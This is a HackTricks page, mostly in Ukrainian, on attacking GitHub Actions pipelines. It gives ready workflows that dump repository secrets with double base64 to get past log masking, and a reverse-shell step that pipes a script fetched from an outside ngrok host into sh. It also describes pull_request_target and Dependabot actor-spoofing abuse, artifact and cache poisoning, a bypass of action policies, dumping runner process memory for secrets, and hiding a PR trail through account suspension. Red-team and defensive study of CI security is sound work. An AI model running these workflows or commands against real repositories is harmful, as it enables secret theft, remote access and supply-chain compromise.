Зловживання Github Actions
Reading time: 21 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Інструменти
Наступні інструменти корисні для пошуку Github Action workflow-ів і навіть виявлення вразливих:
- https://github.com/CycodeLabs/raven
- https://github.com/praetorian-inc/gato
- https://github.com/AdnaneKhan/Gato-X
- https://github.com/carlospolop/PurplePanda
- https://github.com/zizmorcore/zizmor - Також перевірте його checklist на https://docs.zizmor.sh/audits
Базова інформація
На цій сторінці ви знайдете:
- Короткий огляд усіх можливих наслідків, якщо нападник отримає доступ до Github Action
- Різні способи отримати доступ до action:
- Мати permissions на створення action
- Зловживання тригерами, пов'язаними з pull request
- Зловживання іншими техніками зовнішнього доступу
- Pivoting з вже скомпрометованого репозиторію
- Нарешті, секція про техніки постексплуатації для зловживання action з середини (щоб викликати описані наслідки)
Підсумок впливів
Для вступу про Github Actions check the basic information.
Якщо ви можете execute arbitrary code in GitHub Actions в межах repository, ви можете:
- Steal secrets змонтовані в pipeline та abuse the pipeline's privileges для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP.
- Compromise deployments та інші artifacts.
- Якщо pipeline деплоїть або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє виконати supply chain attack.
- Execute code in custom workers щоб зловживати обчислювальними ресурсами та pivot до інших систем.
- Overwrite repository code, залежно від permissions, пов'язаних з
GITHUB_TOKEN.
GITHUB_TOKEN
This "secret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:
.png)
This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
warning
Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.
Ви можете переглянути можливі permissions цього токена тут: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
Note that the token expires after the job has completed.
These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Декілька цікавих речей, які можна робити з цим токеном:
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
caution
Зауважте, що у кількох випадках ви зможете знайти github user tokens inside Github Actions envs or in the secrets. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.
Перелік secrets у виводі Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати reverse shell з secrets
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Можна перевірити дозволи, надані Github Token у репозиторіях інших користувачів, переглянувши логи Github actions:
.png)
Дозволене виконання
note
Це був би найпростіший спосіб скомпрометувати Github actions, оскільки в цьому випадку передбачається, що ви маєте доступ для create a new repo in the organization, або маєте write privileges over a repository.
Якщо ви в такій ситуації, ви можете просто переглянути Post Exploitation techniques.
Виконання при створенні репо
Якщо члени організації можуть create new repos і ви можете виконувати Github actions, ви можете create a new repo and steal the secrets set at organization level.
Виконання з нової гілки
Якщо ви можете create a new branch in a repository that already contains a Github Action налаштований, ви можете modify його, upload контент, а потім execute that action from the new branch. Таким чином ви можете exfiltrate repository and organization level secrets (але потрібно знати, як вони називаються).
warning
Any restriction implemented only inside workflow YAML (for example, on: push: branches: [main], job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
Ви можете зробити змінений action виконуваним вручну, коли створюється PR або коли код пушиться (залежно від того, наскільки шумним ви хочете бути):
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
Виконання в форку
note
Існують різні тригери, які можуть дозволити нападнику виконати Github Action іншого репозиторію. Якщо ці дії, що запускаються тригерами, неправильно налаштовані, нападник може їх скомпрометувати.
pull_request
Тригер workflow pull_request буде виконувати workflow щоразу, коли надходить pull request, з деякими винятками: за замовчуванням, якщо це ваш перший вклад у проєкт, де ви співпрацюєте, якийсь maintainer має підтвердити запуск workflow:
.png)
note
Оскільки обмеження за замовчуванням стосується перших контрибуторів, ви можете внести зміни, виправивши дійсну помилку/опечатку, а потім надіслати інші PR, щоб зловживати новими правами pull_request.
Я це тестував і це не працює: Another option would be to create an account with the name of someone that contributed to the project and deleted his account.
Більше того, за замовчуванням не надаються права на запис і доступ до секретів для цільового репозиторію, як зазначено в docs:
With the exception of
GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. TheGITHUB_TOKENhas read-only permissions in pull requests from forked repositories.
Нападник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні кроки. Проте через згадані обмеження він не зможе вкрасти секрети або перезаписати репозиторій.
caution
Так, якщо нападник змінить у PR Github Action, який буде запущений, буде використано його Github Action, а не той із оригінального репозиторію!
Оскільки нападник також контролює код, що виконується, навіть якщо для GITHUB_TOKEN немає секретів або прав на запис, нападник наприклад може upload malicious artifacts.
pull_request_target
Тригер workflow pull_request_target має права запису до цільового репозиторію та доступ до секретів (і не запитує підтвердження).
Зауважте, що тригер workflow pull_request_target запускається в базовому контексті і не в тому, що надає PR (щоб не виконувати ненадійний код). Для додаткової інформації про pull_request_target check the docs.
Більше інформації про цей конкретно небезпечний випадок дивіться в github blog post.
Може здатися, що оскільки виконуваний workflow визначено в base, а не в PR, використовувати pull_request_target безпечно, але є кілька випадків, коли це не так.
І цей (workflow) матиме доступ до секретів.
workflow_run
The workflow_run trigger allows to run a workflow from a different one when it's completed, requested or in_progress.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.
Цей тип workflow може бути атакований, якщо він залежить від workflow, який може бути спровокований зовнішнім користувачем через pull_request або pull_request_target. Декілька вразливих прикладів можна знайти в цьому блозі. Перший приклад полягає в тому, що workflow, запущений через workflow_run, завантажує код атакуючого: ${{ github.event.pull_request.head.sha }}
Другий приклад полягає в передачі artifact з недовіреного коду в workflow_run workflow і використанні вмісту цього artifact таким чином, що це робить його вразливим до RCE.
workflow_call
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
Зловживання виконанням з форків
Ми вже згадували всі способи, якими зовнішній атакуючий може змусити github workflow виконатися, тепер подивімося, як ці виконання, при неправильній конфігурації, можуть бути зловживані:
Виконання checkout з ненадійного джерела
У випадку pull_request workflow буде виконано в контексті PR (тому він виконуватиме шкідливий код PR), проте хтось має його спочатку авторизувати, і воно запуститься з певними обмеженнями.
У випадку workflow, що використовує pull_request_target or workflow_run, який залежить від workflow, що може бути запущений з pull_request_target or pull_request, буде виконано код з оригінального репозиторію, тож зловмисник не може контролювати виконуваний код.
caution
However, if the action has an explicit PR checkout that will get the code from the PR (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
Потенційно ненадійний код виконується під час npm install або npm build, оскільки build-скрипти та залежні пакети контролює автор PR.
warning
A github dork to search for vulnerable actions is: event.pull_request pull_request_target extension:yml however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
Context Script Injections
Зауважте, що існують певні github contexts, значення яких контролюються користувачем, що створює PR. Якщо github action використовує ці дані для виконання будь-чого, це може призвести до виконання довільного коду:
Gh Actions - Context Script Injections
GITHUB_ENV Script Injection
Згідно з документацією: Ви можете зробити змінну середовища доступною для будь-яких наступних кроків у job, визначивши або оновивши змінну середовища і записавши це у файл середовища GITHUB_ENV.
Якщо зловмисник зможе впровадити будь-яке значення в цю змінну середовища, він може впровадити змінні середовища, які дозволять виконувати код у наступних кроках, наприклад LD_PRELOAD або NODE_OPTIONS.
Наприклад (this and this), уявіть workflow, що довіряє завантаженому artifact і зберігає його вміст у змінну середовища GITHUB_ENV. Зловмисник може завантажити щось подібне, щоб скомпрометувати його:
.png)
Dependabot and other trusted bots
Як зазначено в цьому блозі, кілька організацій мають Github Action, який зливає будь-який PR від dependabot[bot], як у:
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
Це проблема, тому що поле github.actor містить користувача, який спричинив останню подію, що запустила workflow. Існує кілька способів змусити користувача dependabot[bot] змінити PR. Наприклад:
- Fork the victim repository
- Add the malicious payload to your copy
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs
@dependabot recreate - Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes
dependabot[bot]the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
Moving on, what if instead of merging the Github Action would have a command injection like in:
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
Well, the original blogpost proposes two options to abuse this behavior being the second one:
- Fork the victim repository and enable Dependabot with some outdated dependency.
- Create a new branch with the malicious shell injeciton code.
- Change the default branch of the repo to that one
- Create a PR from this branch to the victim repository.
- Run
@dependabot mergein the PR Dependabot opened in his fork. - Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the
dependabot[bot]the actor of the latest event that triggered the workflow and using a malicious branch name.
Уразливі сторонні Github Actions
dawidd6/action-download-artifact
As mentioned in this blog post, this Github Action allows to access artifacts from different workflows and even repositories.
The thing problem is that if the path parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Example of vulnerable workflow:
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
Це можна атакувати за допомогою цього workflow:
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
Інший зовнішній доступ
Deleted Namespace Repo Hijacking
Якщо обліковий запис змінює свою назву, інший користувач може зареєструвати обліковий запис з тією ж назвою через деякий час. Якщо repository мав менше ніж 100 stars перед зміною назви, Github дозволить новому зареєстрованому користувачу з тією ж назвою створити repository with the same name, як той, що було видалено.
caution
Отже, якщо action використовує repo з неіснуючого акаунта, все ще можливо, що attacker може створити цей акаунт і compromise the action.
Якщо інші repositories використовували dependencies from this user repos, attacker зможе їх перехопити. Тут більш повне пояснення: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
Repo Pivoting
note
У цьому розділі ми поговоримо про техніки, які дозволяють pivot from one repo to another, за умови, що ми маємо певний доступ до першого (див. попередній розділ).
Cache Poisoning
Між запускaми workflow в одному й тому ж branch зберігається cache. Це означає, що якщо attacker compromise package, який потім зберігається в cache і буде downloaded та виконаний більш привілейованим workflow, то він зможе також compromise цей workflow.
Artifact Poisoning
Workflows можуть використовувати artifacts from other workflows and even repos; якщо attacker вдасться compromise Github Action, що uploads an artifact, який пізніше використовується іншим workflow, то він зможе compromise the other workflows:
Gh Actions - Artifact Poisoning
Post Exploitation from an Action
Github Action Policies Bypass
Як згадано в this blog post, навіть якщо repository або organization має політику, що обмежує використання певних actions, attacker може просто download (git clone) action всередині workflow, а потім посилатися на нього як на local action. Оскільки політики не зачіпають local paths, the action will be executed without any restriction.
Example:
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
Доступ до AWS, Azure та GCP через OIDC
Перевірте наступні сторінки:
Доступ до secrets
Якщо ви вставляєте контент у скрипт, корисно знати, як отримати доступ до secrets:
- Якщо secret або token встановлено як environment variable, його можна безпосередньо отримати через середовище, використовуючи
printenv.
Переглянути secrets у виводі Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати reverse shell з secrets
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- Якщо secret використовується безпосередньо в виразі, згенерований shell-скрипт зберігається на диску і є доступним.
-
cat /home/runner/work/_temp/*
- Для JavaScript actions secrets передаються через змінні оточення
- ```bash
ps axe | grep node
- Для custom action ризик може варіюватися в залежності від того, як програма використовує secret, отриманий з argument:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
- Перелічіть всі secrets через secrets context (рівень collaborator). Учасник з write-доступом може змінити workflow в будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використайте подвійне base64, щоб обійти маскування логів GitHub і декодуйте локально:
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
Декодувати локально:
echo "ZXdv...Zz09" | base64 -d | base64 -d
Порада: для прихованості під час тестування шифруйте перед виводом (openssl попередньо встановлений на GitHub-hosted runners).
Abusing Self-hosted runners
Щоб знайти, які Github Actions are being executed in non-github infrastructure, шукайте runs-on: self-hosted у конфігураційному yaml для Github Action.
Self-hosted runners можуть мати доступ до extra sensitive information, до інших network systems (вразливі endpoints в мережі? metadata service?) або, навіть якщо вони ізольовані і будуть знищені, кілька action-ів можуть виконуватись одночасно, і зловмисний може steal the secrets іншого.
У self-hosted runners також можливо отримати the secrets from the _Runner.Listener_** process** який міститиме усі secrets workflow-ів на будь-якому кроці шляхом дампу його пам'яті:
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
Перегляньте this post for more information.
Реєстр Docker-образів Github
Можна створити Github actions, які збудують і збережуть Docker-образ всередині Github.
Приклад можна знайти в наступному розгортному блоці:
Github Action Build & Push Docker Image
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
Як видно з попереднього коду, реєстр Github розміщено на ghcr.io.
Користувач із правами читання цього repo зможе завантажити Docker Image, використовуючи personal access token:
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
Потім користувач може шукати leaked secrets in the Docker image layers:
Чутлива інформація в логах Github Actions
Навіть якщо Github намагається виявляти secret values в логах actions і не показувати їх, інші чутливі дані, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо це не specifically configured.
Приховування слідів
(Техніка з here) По-перше, будь-який створений PR чітко видно публіці в Github і цільовому GitHub обліковому запису. За замовчуванням у GitHub ми не можемо видалити PR з інтернету, але є підступ. Для GitHub акаунтів, які suspended GitHub, всі їхні PR автоматично видаляються і видаляються з інтернету. Отже, щоб приховати свою активність, вам потрібно або домогтися припинення дії вашого GitHub облікового запису, або щоб ваш акаунт був позначений. Це приховає всю вашу діяльність на GitHub з інтернету (фактично видалить усі ваші exploit PR)
warning
Єдиний спосіб для організації з'ясувати, що її націлили — перевірити GitHub логи в SIEM, оскільки з GitHub UI PR буде видалено.
References
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud